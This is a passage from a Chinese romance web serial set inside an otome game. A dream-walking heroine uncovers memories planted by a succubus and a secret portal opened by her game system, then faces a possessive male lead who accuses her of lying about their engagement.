——然而,下一瞬,好看的女孩三步并作两步冲到他们跟前,扬起手掌,在所有人的注视下:“啪!”——给了夕老师一巴掌。 严雾目瞪口呆。她简直没有办法把自己张大的嘴巴收回来。但她知道,自己身边的其他人也好不了多少。 但更令人目瞪口呆的事情发生了,女孩开始滔滔不绝地讲述夕同简对她犯下的恶,他做的事情,用渣男来形容也丝毫不为过。 严雾不敢相信,但女孩信誓旦旦,还说自己是夕老师的未婚妻——她是听说过,夕老师前段时间突发意外住院了,还有个未婚妻。 而且,夕同简也没有反驳。 看着女孩越说越生气,越说越伤心的表情,还有她清凌凌的眼睛、通红的鼻尖、微微皱起的眉头。 严雾心里忽然生出了一丝奇怪的想法。 她想:夕同简也太过分了。怎么能这么对一个女孩子呢? 她……如果……如果这个女孩,喜欢的是她…… 她肯定,不会让她失望的。 第59章 《大卸八块》 研究所的氛围变得奇…… 研究所的氛围变得奇怪了起来。 ——从那个女孩到来的那天开始。 研究所里不知何时开始, 小范围地传起风言风语。说某天有人看到夕同简跟一个女孩从深夜的办公室里出来,夕同简的肩膀上还有个明显的脚印。 后来这个谣言似乎是愈演愈烈了,传出夕同简跟人深夜幽会, 被他的未婚妻当场撞见,眼眶红红地从办公室里跑出来, 很可怜的模样。 “虽然……但是……” “是啊……就是说啊……男人怎么能这样呢, 这不是玩弄人家小姑娘感情么?” “我看她也挺可怜的,说是一直待在深山里,明显是个不知人事险恶的小姑娘嘛, 骗小姑娘还是有点太……” “我早就说过了, 男人没一个好东西!”这是义愤填膺的。 “师姐,也不能这么说吧……”有人喊冤, “那是特殊例子特殊对待, 也不是人人都这样, 她要是换一个人喜欢, 也没这么多事……” 换一个人喜欢…… 房间内沉默下来, 大家不约而同地,变得有点心不在焉。 “不是我说,夕老师什么都挺好的, 就是这一点……被扇也活该吧。” 过了一会儿, 不知道哪个角落传来了一声:“要是我, 被扇我也愿意啊。” 但再一回头, 就找不到说话的那个人了。 有人又说:“你们知道最近网上很火的那句话吗?那句:‘我老婆扇我的时候,先是一阵香风, 然后是软软的手掌,最后才是火辣辣的疼,这个时候巴掌落在脸上, 已经不是疼而是爽了。’” “……” “噫,你好恶心。” 实验室又陷入了寂静,几分钟后,不远处的办公室大门“砰”地一下摔在墙上,所有人的动作骤然一顿,随后仿佛恢复了平静,但彼此又心知肚明,这会儿都在竖着耳朵听外面的动静呢。 从夕老师的未婚妻找上门来之后,每隔一段时间就会发生这样的情况—— 一声怒骂,词汇包括但不限于“渣男”、“神经病”、“人渣”,甚至还有“笨蛋”这种极度缺乏攻击力的词汇,只会让听到的人心生怜爱,然后紧接着是摔门而出的声音,再就是气鼓鼓地跑出去的声音,也不知道夕同简多惹她生气了,才气成这样。 本来,研究所应该是绝对不允许闲杂人等进入的,更何况她这样天天闹事,如果换一个人早就被赶出去了,但偏偏是她,倒也没人抱怨什么了。 反而,心里都有点说不清道不明的酸涩。 严雾看了一眼门外。女孩的身影急匆匆的,脚步像是跳跃的舞鞋,皮鞋在地面踩得哒哒响。 身后忽然有人说了一句:“夕老师,不会把她的未婚妻气哭了吧?” “怎么可能!” “怎么不可能?”有人反驳,“我听说她之前红着眼睛从办公室里出来,现在的小姑娘都爱面子,大庭广众下被气哭,想来是受了很大委屈才这样。” 严雾放下手里的仪器,往外走。 “诶!严雾!你去哪里?” “我……”她有点心不在焉,“我去趟卫生间。” “哦,早去早回!” 严雾胡乱地应了一声,再回过神来的时候,她忽然意识到自己站在夕同简的办公室门前,手还放在门上,维持着敲门的动作。 “请进。”门里应了一声,声音有些沙哑,但仍旧是一贯的温和—— 和刚刚离去的女孩的怒骂成为了一个鲜明的对比。 刹那间严雾脑海中只有一个念头:凭什么? 她的手已经按照肌肉记忆推开了门,但她的脑海中,那个奇怪的质问却挥之不去。 凭什么?凭什么这个男人这么淡定?之芙刚刚还……她哭了,是吗? 其实她没有看到她的脸,但脑海中那句“听说有人看到她红着眼睛跑出来……想来是受了很大委屈”却挥之不去,她心里的焦灼愈演愈烈: 凭什么他能气哭了之芙还这么淡定?这完全是一种虐待! “有什么事吗?”站在桌子后的男人转过身来,他揉了揉眼眶,露出了一抹跟往常一样没什么区别的温和笑容,他看了眼手表。“如果我没记错的话,现在应该还是工作时间。” “夕老师。”严雾紧紧地握着拳,心里无数的话语涌到嘴边: 他们说你虐待你的未婚妻,这是真的吗?你为什么要这么对她?你凭什么能…… 但是,话到嘴边,她的视线余光忽然看到一旁的窗户边上,有个影子一闪而过——她十分确定那就是之芙,因为只有她才不用穿实验白服。 一个念头瞬间在她脑海中成型。 “夕、夕老师。”她顿了顿,走上前去,拿起了桌上的一个文件夹,“我有问题想问你……” ——这实在是一个非常逾矩的动作,但夕同简似乎也有点恍惚,因此没有注意到。 “关于实验,我觉得这个数据有点奇怪。您觉得是重新试验检查呢,还是在这里插入别的变量……” 这样的渣男,有什么好留念的? 早点死心也好,遇人不淑还念念不忘才是坏事。 …… “嗯……” 之芙从严雾的梦里醒来了,她有点呆滞地看着躺在自己面前的女孩儿。那个魅魔,还挺会编剧本的哈…… 直播间的弹幕划过一片【……】 继而爆炸式地轮发了起来: 【牛!牛!妹妹你的操作是真牛】 【夕老师:有你们是我的福气】 【这是什么小说剧情我笑死了……】 【这是什么!心机深沉的绿茶妹妹!我吃一口!这是什么!你以为我爱的是他其实我爱得是你!吃一口!这是什么!你以为争风吃醋其实是绿茶上位!吃一口!】 ——她梦里的这些事情,从来都是没有发生过的。也不知道那个魅魔同行给她下了多大的迷魂药,才让她的意识里多出了这段记忆。 也可能因为严雾本来就对她有好感,所以魅魔就编造了这段半真半假的记忆,插入了她的意识里。 她现在总算知道为什么那群研究员要追杀夕同简他们了……可能他们的记忆被那个魅魔也篡改成差不多的“记忆”了。 她看向躺在一旁的夕同简和戎淼戎火三人。 那他们的梦里,会是什么?难道他们的梦里,夕同简也还是渣男?是什么版本的渣男?她开始好奇了。 她把手放到了戎火的肩膀上。 ——让她来看看好了。 第60章 《大卸八块》 【有人过来了,先躲起来…… 大概在戎火的梦里, 夕同简拿到的也是什么渣男剧本吧……之芙这样想着,把手放在了他的肩膀上。 “……” 轻微而沉稳的呼吸声。 之芙睁开眼——和她想象的不一样,这次的梦里不是她。 她看到面前是一片熟悉的丛林, 戎火把封装好的酒精和火柴放在口袋里,然后把匕首别在腰间。他抬起头, 跟戎淼打了个招呼——大概因为语言不通的缘故, 之芙不知道他在说什么。 只看到,戎火收拾好背包之后,就独自背上包, 走进了丛林里——走进丛林之前, 他回头看了一眼,正是这一眼, 让之芙看到, 他身后的几个人似乎分成了好几个队伍, 正在调试仪器和分头找人。 她忽然明白过来, 这是什么时间点了——这是她失踪的那天早上。 她一觉醒来的时候已经在山洞外了, 脚下和鞋子里也没有长途跋涉粘上的泥沙树叶,比起梦游,更像是一觉醒来就出现在了几公里之外的地方, 因此虽然知道山洞离他们扎营的地方很远, 但心里一直没有实感。 直到现在, 她看到戎淼正大声招呼着寻人的队伍跟上, 又看到夕同简拿着信号仪器不断调试,试图联系上她。 再看到戎火, 他手里拿着一根树枝,快速地在雨林里前行,一边走, 还一边留意着身边可能出现的踪迹。 但没有人,戎火也始终没有开口说话,四周一片寂静,只有虫子和野兽经过。他身形敏捷异常且熟知雨林生存法则,之芙看他一次次灵活地躲避毒虫和野兽,绕过危险的范围,跨过河流。 大约过去了两个小时,戎火看了一眼携带的电子表,再抬起头来时,面前已经变了模样。 雨林遍布植被,水雨密集,河流随时都可能改道,如果是其他人在这里,可能认不出来面前爬满苔藓和不知名的植被的大树跟刚才的树有什么区别,但戎火一眼就认了出来。 这不是他刚刚看到的那条路。 面前的一切都像是一双无形的大手刷新过似的,虽然一眼看上去好似没什么不同,但细节变了。 如果有谁操纵了方才的一切,那祂一定是一位健忘的神明。 戎火环顾四周之后,他打开电子表,数了一分钟——一分钟过去了,表上的数字丝毫不动,电子表失灵了。他打开通讯器,也显示没有信号,短信和电话都发不出去,对讲机里只有滋滋的声音。 他看向身后,身后的一切毫无变化,泥土上残留着他刚刚经过的脚印,只要回头,顺着脚印,就能找回营地。 但戎火沉默地站在原地,片刻后他微微低头,对着面前的小路做了一个拜的姿势,两指并拢抵在胸前。 这个姿势,之芙也见过。就是第一天戎火和戎淼上船的时候,他们也对着她做了同样的姿势。 现在看来,这个姿势大约很不一般。 几分钟后,戎火才直起身,他把匕首从腰包里抽出来,用布条绑在了手腕上,然后头也不回地走进小路里。 之芙心想,这大概又是那个梦里的“魅魔”搞得鬼吧?也不知道他是什么品种的魅魔……居然还能控制海岛的路,真奇怪,明明魅惑能力那么弱,她还以为他是个弱小的魅魔来着…… 不过,也有可能是因为海岛没有人,也没有同类的教导,导致他根本没有学习和练习魅惑术的途径,导致全学偏门去了? 之芙正胡思乱想着,面前的场景忽然一变。 就像是一个无比真实的舞台背景布被人从上面揭开了似地,丛林里小路的边缘翻卷起来,几乎让人怀疑是不是自己的眼睛出了问题。 几分钟后,“画布”彻底卷成一团,露出了身后原本的小路。画布的边缘跳出一些银白色的、正正方方的、发着光的粒子,如同像素画一样,带着浓浓的科技味道,又像是电脑报废时乱跳的火花,与这处荒无人烟的热带雨林格格不入。 一个电子提示框跳了出来,落在半空中: 【是否关闭通道?】 电子框的外壳UI极其眼熟,之芙总觉得自己在哪里见过,却一下子记不起来。 忽然有一个陌生的声音跳出来:【要关吗?老大。】 紧接着是一个熟悉的声音:【关。】 之芙瞬间瞪大了眼睛——这个声音,她太熟悉了。 这明明是系统的声音! 【可是,后面的人还没跟上呢……】那个陌生的声音又说。【太危险了,他一个人能行吗?】 这个“他”说的应该是戎火。 【能行。】系统的声音有些漫不经心,有点不耐烦,【开了后门都不行的家伙,让他滚蛋。】 另一个声音登时就笑了,喊了一声【好勒——】,几分钟后,对话框闪烁了几秒,彻底关闭了。 之芙还呆在原地。 等等???等等????什么情况? 不是那个奇怪的魅魔把戎火送来的,是……是系统干的?! 但系统也从来没有跟她说过啊!准确来说,从进入这个新游戏开始,系统就异常的沉默,和上一个游戏里时不时冒出两句话来吸引她注意力不一样,在这个游戏里他似乎回归了这个真正的系统该做的事情,认认真真地讲述背景,播报人物关系,提示她危险在哪里。 之芙一晃神,再回过神来的时候,已经从戎火的梦里离开了。 她愣愣地看着面前陷入沉睡的戎火,在心里喊:【系统。】 系统这次回应很快:【出事了?】 ——听语气,还不知道自己给戎火开后门被发现这件事。 之芙问:【系统——你知不知道,戎火是怎么找到我的?】 【……】这次,系统的回复没有那么快了。他顿了顿,【不知道。系统怎么会知道?】 之芙哼了一声:【猜猜我刚刚看到了什么?是你给戎火开的后门吧?那个像是直播间的UI界面是什么东西?跟你说话的人是谁?】 她刚刚想起来了,为什么那个信息框的外框UI这么眼熟——那不是跟直播间界面一模一样的吗? 好家伙,总算给她抓到系统的把柄了。 只是此刻,系统还在嘴硬,他声音冷静:【你在说什么,我不知道。】 之芙哼哼:【不知道?我刚刚明明看得一清二楚,要不要我仔细跟你说说呀?说起来,那个对话框……】 【等等。】系统忽然打断她。 终于知错了?之芙大发慈悲地【嗯】了一声决定听他狡辩。 谁知,系统忽然说:【有人过来了,先躲起来。】 与此同时,一墙之隔,忽然传来了急促的脚步声。 之芙骤然看向倒在地上,睡着的四人—— 60-70 第61章 《大卸八块》 “她是我老婆。” 【从这里离开, 往后走。】系统的声音在之芙砰砰作响的心跳中显得很冷静,【离开这里之后左拐,大概三百米之后再……算了, 我会提醒你,跟我说的走。】 之芙站在原地。 【脚步声更近了。】系统提醒, 【大概还有几十米的样子, 你听到了吗?】 之芙已经听到了。 “啪嗒”、“啪嗒”、“啪嗒”……凌乱又有规律的脚步声,正越来越近。 【如果你担心的话,带上戎火的匕首, 夕同简的包里有备用的照明灯, 就在他背包的右边口袋,带着这些, 现在离开还来得及……对了, 地图在戎淼的口袋里, 我能帮你计算路线。】系统的语气越来越快, 【之芙!】 之芙说:【我走了, 那些研究员要杀他们怎么办?】 【这里有四个人,你最多带走一个。】系统顿了顿,声音变得冷酷, 【你要救谁?】 之芙的目光落在躺在地上的四个人身上, 他们都四个都是她熟悉并且有感情的角色, 但系统说的没有错, 她能救一个都算是很努力了——在这样漆黑的山洞里带着人逃命可不是简单的事情,这四个人都比她比她壮, 她只是个手无缚鸡之力的普通女孩。 【我建议你救夕同简,他对这座小岛很了解,要解开壁画的秘密, 你需要他。】系统说,它的语气依旧冷静,像是一个只会计算利益的工具,【或者选戎火。虽然语言不通,但他知道该怎么从这里离开,即使你们一无所知,他也能带你离开这里。】 这几乎是结局的选择暗示了。 是要选夕同简,了解这个海岛的真相后打出真相结局离开游戏,还是选戎火,一无所知但安全地离开危险之地,结束游戏? 之芙说:【可是那些研究员不想杀我,我可以把他们引开……】 脚步声更近了。之芙最后看了一眼身后躺着的几个人,走到山洞的转口处。站在这里,可以立刻发现那群靠近的研究员,与之相对应的,他们也能立刻发现她。 之芙接着说:【就像引开小严一样。】 【他们只是游戏角色。】系统说,【他们只是一串数据,死了还能回档。】 【那不一样!】之芙说,哪能一样吗?这群人是她的攻略对象,可不能轻易死了,不然她还得从头攻略,而且……他们还是她的备用粮呢! 就算能回档,也不是现在这个味道了。 【怎么不一样?】系统无奈,顿了顿,它又忽然有些不自在似地,说,【你不是问我,之前是不是我把戎火送过来的吗?】 之芙说:【当然,我看到了。】 系统又顿了顿。几秒钟的沉默后,它说:【往后看。】 之芙下意识回头,只见一个熟悉的选择框跳在半空中,身后洞穴的方向已经改变了。 【把他们扔进去就行。】系统说。 之芙大喜:【系统!还是你靠谱!】说罢冲了回去,拖起躺在地上的人往后走,她也顾不上什么受伤不受伤了,先把靠在一起的夕同简和戎淼一人拉着一只手,往洞口拖。 【……】系统哼了一声,【知道我最靠谱就好。】 之芙已经顾不上跟它斗嘴了。她刚把夕同简和戎淼扔进洞口,转头拎起戎火和小严——小严还好说,只是个不胖不瘦的女孩,但戎火就麻烦了,他常年健身,肌肉扎实,个头又将近一米九,之芙用上了吃奶的力气,也也没办法像之前拖夕同简和戎淼两个文弱知识分子那样拖动他们俩。 她只好先放开小严,两只手拉着戎火的胳膊,一步一步把他往后面的山洞里拖。 脚步声更近了,几乎就在洞口。之芙费了好大的劲儿,终于把戎火拖到了山洞里,她连汗也来不及擦掉,系统忽然说:【来不及了。】 之芙跑回去拉小严。 【先走!】系统呵斥道,【她只是个普通的NPC,对剧情没有作用,你先离开这里,再回来也……之芙!】 转角处,研究员已经走了进来。 为首的男人手里拿着一把开罐头的小刀,锋利的刀锋在黑暗中也闪着丝丝寒芒,看到之芙的一瞬间,他的眼睛亮了亮:“老婆……” 身后一股巨力传来,之芙仓惶回头。 她已经带着小严一只脚踏入山洞里了。 但对方握住了她的肩膀,顺着向下,拉住了她的一只手臂,往外拖。 “放开!”之芙怒喝一声!对方呆了一呆,脸上露出一些委屈的表情,手上却更加用力了,之芙用力挣脱他的手,一脚踹了过去—— 她刚刚把这个男人踹掉,另一边,更多的人涌了上来。 “老婆……” 之芙:“……” 谁是你们老婆啊!她试图踹开对方,但身形摇摇晃晃,瞬间就被扯地摔在了地上,之芙在脑海中对系统说:【我知道你们是恋爱游戏,但不要这种货色也塞给我啊!】 系统:【……】又不是他塞的! 【我也不是什么都吃得下的……哇啊!】之芙刚爬起来,就又摔倒了,对面人太多了,她根本没法挣脱这群人,她说,【系统你想想办法啊!能不能现在关掉这个门把我传送到另一边啊……】 【可以,但你会变成两截。】系统说,【或者你往里面走一点,把其他人变成两截。】顿了顿,它又补充,【我建议你选择后者,这不是开玩笑的。】 之芙犹豫了几秒钟。 虽然她嘴上说得很轻松,但是……系统说得对,人太多了,他们是真的有可能杀掉她的……这不是开玩笑的,系统的选择是对的。 之芙张了张嘴,正要说话,忽然,身后一拳挥来,揍在了她面前的那张脸上。 ——那张拉着她的男人的脸上,满是渴望和垂涎。但现在都被一拳打散了。他惨叫一声,捂着脸滚了出去。 之芙一下呆住了。 拳头的主人自身后,阴森地道:“叫谁老婆呢。” “她是我老婆。” ——那声音,竟然来自夕同简。 第62章 《大卸八块》 “你觉得这个梦是真的还…… 身后投下来一道阴影, 完全盖住了之芙。一道血溅了出来。 之芙骤然转头,对上了夕同简的脸——他的脸色,很难看。 这段时间的昏睡似乎没有缓解他的疲惫, 他的眼下挂着一圈发青的黑眼圈,眉头皱成了一道深深的沟壑, 嘴角还挂着一些微笑, 但周身的气势已经不再轻松和煦,反而压迫力十足。 一个研究员被他一拳揍在脸上,很难想象他这样外表文弱的文职工作者会有这样的力气——那个大男人一拳被揍翻在地上, 捂着脸嗷嗷叫。 夕同简表情不动, 只有一道血溅在他白玉般的脸上。 他轻轻伸手拭去,垂眼看了片刻, 伸出一只手, 把之芙从地上拉了起来。 之芙抓紧时间在脑海中喊系统:【系统!】 系统应声关掉了传送门。 门那边的人像是一道晕开在水中的水墨画似地消失在他们的面前, 之芙也不管夕同简的反应, 从包里摸出照明灯打开。 黑暗的山洞瞬间被照亮了, 令人安心的灯光填满了山洞,之芙这才松了口气。 她看向夕同简:“你醒了?” 奇怪的是,夕同简却没有露出惊讶或是“终于脱离危险松了一口气”的表情。他定定地看着之芙, 大概想走过来, 但没走几步, 又忽然一阵眩晕, 摇晃着身体,用力按住额头。 “夕同简?”之芙觉得奇怪, 她把灯放在一边跑过去接住他,夕同简顺着她的手滑坐在地上,哑声问, “这是哪里?其他人呢?” “还在山洞里。”之芙说,“其他人都睡着了……”她指了指躺在旁边的戎淼戎火兄妹和小严,“至于其他人……你刚刚也看到了。” 之芙说完,等着夕同简问她传送门的事情——她在脑海中飞快地编着借口,还准备叫系统也帮忙想想,但夕同简顿了顿,却像是完全没有注意到刚刚那个奇怪的传送门似地,他只是坐在地上,眼睛看着面前的地面,似乎在思考着什么,又像是在消化着什么。 “夕同简?” 之芙觉得奇怪,动了一下,才发现夕同简牢牢地牵着她的手——用“牵”这个词都不太准确了,应该是死死地攥着她的手。 “你怎么了?”之芙挣不开,半跪在他面前,另一种手戳了戳他的脸。 “……”夕同简想也没想,闪电般伸手攥住她另一只手。做完这一切,他这才像是回过神来。他看着之芙,声音沙哑得可怕,“没什么,刚刚做了个梦。” 人类做梦的时候,好像是容易睡不好。之芙想起这茬,怪不得夕同简看起来这么疲惫。她说:“你做了什么梦?不会跟那些研究员一样吧?那些都是假的。” 夕同简反问:“你知道他们做的梦是什么样子的?” “呃……反正,都是那些嘛!就是,在他们的梦里,你变成渣男什么的……” 之芙想了想,又补充说:“刚刚小严醒了,跟我说了她的梦!”她嘿嘿笑了一声,捏着夕同简软软的脸颊肉,像是揉娃娃一样说,“在梦里,我们第一次在研究所里见面的时候,我给了你一巴掌……” 她的声音越来越小。 ——因为,夕同简正一脸专注地看着她。他的目光好奇怪,隐没在她投下的影子的黑暗中,看不清晰,却极有存在感。 “夕同简?”之芙奇怪地问。 “……”一阵沉默之后,夕同简哑声道,“我也梦到了。” 他又顿了顿:“梦到那天,你给了我一巴掌,然后……”他急促地笑了一声,很短暂,没什么意味,像是一阵风从他的舌尖划过,“我也反手打了你。” 之芙瞪大了眼:“那不可能!” “你还真是自信。”夕同简笑着说。之芙心说,那不得有自信吗?一个乙女游戏的男主怎么会对玩家不好?他要是真还手,就该拖去火葬场……“你又打不过我。”之芙自信地说。“所以肯定是假的。” “也对……”夕同简失笑,但随即他话锋一转,低下头来,轻轻地用嘴唇蹭了一下之芙的手指。 他的唇瓣干燥而炽热,像是寒夜里的一根碳,留下久久不消的痕迹。 之芙缩瑟了一下,立即被他抓住了手。 夕同简的手比她大很多——像这样,从手背,手指强硬地插入指缝里,能完全包裹住她的手。 他握着她的手,轻轻地,暧昧地,调情一般,拍在自己的脸上。 干燥的脸随即贴了上来,在她的掌心里蹭蹭。 “明明只有你扇我的份……”被影子遮住的脸上浮现出笑容,他慢条斯理地说,“梦里的我,被你扇了之后居然很生气。” ——正常被人平白无故地打了一巴掌,都会生气才对吧。 可夕同简的脸上却不是这么写的。他的嘴角吟着一丝笑意:“但现实里,我当时并没有生气,我只觉得……” 他没有说话了。偏过头,高挺的鼻梁蹭过之芙的掌心,脸颊和唇瓣在她的掌心里摩挲。 他没有说下去了,但他微微眯着眼,似乎在回味当时心情,脸上的表情明明写的是—— 【给他扇爽了。】系统毫无征兆地在之芙脑海里出声,冷笑了一声,【变态。】 【离这种变态远一点。】系统说,【这种人很麻烦的,而且——之芙?】 之芙说:【好带感。】 系统:【……】 之芙说:【这男的好劲儿啊,我喜欢。】 系统:【……】 系统要气晕了。 但系统混乱的语言系统还没整理出思绪,他的情敌还在作妖:“之芙。” “什么?” 夕同简又换了一个表情。他垂下眼,纤长的眼睫翕动着,像蝴蝶翅膀一样轻飘飘地划过之芙的掌心:“我还梦到了其他的。” “我梦到你……”说到这里,他又诡异地一顿。 “怎么了?”之芙问。 夕同简沉默了一会儿,才接着微笑着道:“我梦到了一些奇怪的事情,和一个奇怪的地方。那地方像是在某个深山里,又好像是在一个中式的小楼。小楼里有一个奇怪的男人,穿着袍子,表情冷淡,你叫他——黎夜。” 之芙一愣。 夕同简自顾自地说:“我在梦里,还看到他穿着一身奇怪的女仆装……” 他越说越慢了:“你坐在他怀里,叫他‘小男仆’,你还让他等着你,你们很亲密,似乎他才是你的未婚夫……” 他的目光慢吞吞地上下扫视着之芙,嘴角勾出一个笑:“你觉得这个梦是真的还是假的?” 第63章 《大卸八块》 “之芙,你是个骗子。”…… “你觉得, 那是梦吗?” “……” 夕同简动了动,换了一个更舒服的姿势,之芙不由自主地滑向了他——不知何时, 她已经坐在他的腿上。 他的目光由下而上地扫视过来,微微抬起头, 仰望着她。这个姿势让他伸直的脖颈, 露出脆弱的喉咙,喉结滚动着:“你有没有好奇过?” “什么?”话题转得太快,之芙不知道他在说什么。 “我为什么会‘出意外’。我出了什么意外?为什么会伤得那么重?你有没有好奇过?” 之芙心想, 这难道不是游戏的初始设定吗?就是……那种根本没有道理可言的初始设定。 夕同简回忆了起来:“那是我们第一次试图带那个男人去另一个研究所做检查——那个男人你见过的, 就是那只魅魔。因为他一直昏睡,从没有醒来过, 因此我们只带了一部分配枪的安保人员, 还有几个研究员。车是特制的, 但只开了一辆车, 我们希望低调而快速地解决, 因此没有申请护卫车辆。 虽然他从来没有醒来过,但我们没有放松警惕,我们把他放在车厢里, 用束缚带捆在特制的金属床上。他没有醒, 车行驶在提前清理过的道路上, 没有人, 一切都很正常。 但……不知道什么时候,我们, 所有的人,都睡着了。 好像只是不经意间眨了下眼——再醒来的时候,我已经在医院里, 即将出院了。 根据事后的事故调查和监控来看,那辆车上所有人都睡着了。然后车辆失控,撞上了山体,除了我以外,其他人都死了。 哦,对了。除了那个奇怪的男人,他毫发无损。” 说到这里,他顿了顿。一只手掐住之芙的肩膀,另一只手顺着她的手臂往下,握住她的手。他盈盈地笑着,却有种被蛇缠上一般的阴湿感。 他带着她的手,掀开了裤腿,一路向上。 之芙眼睫颤了颤。夕同简的肌肤冰凉,骨骼上覆盖着薄薄的一层肌肉,青筋和青色的血管如同远山的脉络般在他的肌肤上起伏,几乎可以听到指尖汩汩的血流过血管的声音。 好奇怪……明明是他带着她的手在摩挲,但黑色的西裤下隆起的起伏,仿佛是一条蛇钻进了他的衣服下。 “我没有那段时间记忆。”夕同简说。他纤长的眼睫垂下来,落在脸颊上,打出一片黑而沉重的阴影,“从记录上来看,我在医院里待了一段时间,一度被下了病危通知书,但好在最后奇迹般地好转,全须全尾地离开了医院,真是命好,当天和我一起的运送实验体的其他人,最后都死了。” “可是……”他带着之芙的手,停留在了膝盖上,不轻不重、不快不慢地摩挲着。“从那时候起,我的膝盖总是感到疼痛,仿佛在提醒我什么。” 指尖暧昧地在膝盖上打转,他微微喘息起来——那双总是显得深情的狐狸眼直勾勾地看着她,他脸颊微红,喘息时唇齿开合,濡红的舌尖像是蛇信子般若隐若现。 又危险,又性感——光看这副场景,不禁让人疑问到底谁才是魅魔。 “对我来说,我只是眨了下眼,就从事故中生还了。也只是眨了眨眼,就……多出了一个未婚妻。” 每一个字,都好像含在他的舌尖,又缓慢地吐出,沾上一层潮湿的气息: “所以,我一直好奇,那段时间到底发生了什么。你说是你救了我,你是如何救我的?你是怎么样,把我从死神的镰刀下抢回来的?” “我……”之芙张了张嘴。 夕同简的身体已经俯了下来。他的下巴落在之芙的肩膀上,轻轻地蹭了蹭。他侧头,炽热的吐息喷在之芙的耳朵里。 “是这样吗?”他轻轻地笑了一声,“我看到一个少年爬进你的床上……” “是这样吗?”他另一只手捏住之芙的后颈,摩挲着,“在黑暗的地下室,坐在那个叫黎夜的男人的怀里,发誓要永远陪着他……” 在她看不见的角度,那个男人扬起头,微笑着示威,用口型一字一顿:她是我的。 是这样吗?她不是自己的未婚妻吗? 他的手从之芙的手背后穿过她的指缝,十指紧扣:“还是……” 之芙忽然伸手敲了一下他的膝盖,打断了他的声音:“是这样。” “……” 之芙摸了摸他的膝盖,说:“你的膝盖可是我给你装上去的。哼哼,要是没有我,你早就死了。” “你当初可是被我揣在兜里走来走去的!”她理直气壮地说,又摸了一把夕同简的膝盖,“虽然,呃,有那么一点点无伤大雅的小失误……但是,这不是还能用嘛。” “哼哼。”之芙叉腰,“所以你要听我的,知道了吗?” 她伸手,去抬夕同简的脸。 但奇怪的是,夕同简并没有露出惊讶或者好奇的表情,似乎早有准备似的,他的眼睫垂了下去,像是在思考别的什么。 “你是说,我梦到的都是真的?” “嗯哼。”之芙说,“早就说了我是你的救命恩人啦。” “那……”夕同简抬头,目光直直地射来,如同一盏无影灯。“我还梦到了别的。” “什么?” “我梦到了一个……看起来像是学校宿舍里的地方。你跟你的朋友聊起我。”他微笑,“你的朋友说我是多金又温柔的男神,很多人爱慕。连你寝室里的几个女孩子,也喜欢我呢。” 之芙:…… 她突然有一种不详的预感。 “你对你的朋友发誓,说要追到我。好让她们羡慕。”夕同简像是没有看到她的表情,自顾自地讲了下去,“你让她等着瞧好了。” “你的朋友问你是不是也喜欢我。你说…… 比起我,你更喜欢我的钱。” 他微微抬起头,双手掐住之芙的腰,止住了她想要逃跑的动作。 “你说你想要照顾我,是为了来这里跟梦里的男人相会。 你说你喜欢我,深爱我,对我一见钟情,是为了我的钱。” “之芙,你是个骗子。” 他一字一句,直视着之芙的眼睛,双手牢牢地禁锢住她的腰。 “这些都是假的。你说你是我的未婚妻……这些,也是骗我的?” 第64章 《大卸八块》 “不用对我撒娇,我不是…… “嗯?你醒啦?” 熟悉的声音传入耳畔, 严雾迷茫地眨了眨眼。 像是被蒙了一层雾似的视线逐渐清晰,映入眼帘的是一张熟悉的脸——之芙正一脸担忧地看着她,她伸手摸了摸她的额头, 吸着气问:“你感觉怎么样?” 随着这一句话,脑海中刺痛像是被一下唤醒了似地, 针扎似地一下下刺入脑海, 严雾捂着脑袋好一会儿才缓过神来。 “你没事吧?哪里不舒服吗?”之芙担心的脸在她面前放大,她的眼睛睁大了,亮得像是一只猫儿似地, 里面盛满了明晃晃的担忧。她嘀嘀咕咕, “不会是有什么后遗症吧……” “没、没事。”突然一下看到之芙放大的脸,严雾只觉得脸有点热, 连刚刚的刺痛都遗忘了, 一向开朗的她难得结巴起来, “我没事。” “真的没事?会不会是躺在地上着凉了?也没发烧啊……”之芙的手在她额头上蹭了蹭, 柔软的掌心带着一股独特的清香。 “真的没事!”严雾的脸更烫了。她逃避般望向其他地方, 上下左右看了看,才发现自己身处一个漆黑的洞穴里,不远处夕同简和戎淼戎火坐在一起。 夕同简半蹲在地上, 地上放着一张草稿纸, 他一边用笔演算着什么, 一边跟旁边的戎淼说着话;戎火坐在他们对面, 便携式煤气上架着一个小铁碗,碗里的罐头汤咕嘟咕嘟沸腾着, 正散发出迷人的香气来。 疑惑这才后知后觉地涌上严雾的心头:“我这是在哪里?” 她想起了什么:“我记得,我明明是在营地里睡着了……再醒来,就到了这里?发生了什么?” 发生了什么……之芙一下子不知道该怎么解释了, 总不能说你梦到了我是你老婆,所以要追杀你的老师夕同简然后一路追进了山洞里……吧? 她只沉默了几秒钟,夕同简那边就收起草稿纸走了过来。他一边把草稿纸递给戎淼,一边走过来,开口就问:“身体有没有哪里不舒服?” “没、没有!夕老师!”相比起对之芙问话的脸热,被老师问话的时候,严雾几乎是条件反射一般“浑身一震”,顿了顿又说,“刚刚有点头疼,现在不疼了。” 夕同简点点头,又问:“感觉怎么样?” “感觉……就像是宿醉一样。有点头晕想吐。” “你刚刚被梦魇住了。”夕同简言简意赅地道,“是那个魅魔干的。他想蛊惑你们,自相残杀。” “魅魔?”严雾吓了一跳,又想起什么不对,“可是我不记得我梦到了什么……”以前其他梦到那个男人的研究员,醒来后都能清醒地记得梦里发生了什么。 夕同简一顿。毕竟他们都知道发生了什么,严雾做的梦跟之前那些可不一样。他轻描淡写地道:“可能是你已经在岛上的缘故吧。他不需要再引诱你来岛。” “是、是这样的吗……” 严雾环视四周,没有看到她熟悉的那些人,忍不住问:“夕老师,其他人呢?他们……” 在这雨林里跟人走失,不会是……严雾不敢再想。难道他们这一行人里,只剩下了他们五个人吗? 夕同简说:“他们……大概还在梦游吧。暂时不用管他们。” 梦游?什么意思?不用管他们?真的吗?严雾的心里有一连串的问题浮现,但…… 严雾抬头悄悄地看了一眼夕同简。 很奇怪。夕老师的表情……仿佛蒙上了一层阴影似的。他表面上仍然轻松温和的样子,但周身的气压却很低,甚至,他刚刚走过来的时候,刻意地避开了之芙的视线。 就像现在这样——夕老师直直地看着她,表情有些不自然,似乎在努力装作看不到坐在她身边的之芙似的。 “吃点东西,再休息一下,我们就要赶路了。”夕同简没有再解释,示意她坐到锅的旁边去喝一碗汤。 大概是出于老师天然的对于学生的威压,严雾没有多问。知道其他人没有性命之忧,她就放心了。于是乖乖坐到了锅旁边,戎火一声不吭地抬头看了她一眼,递给她一碗汤。 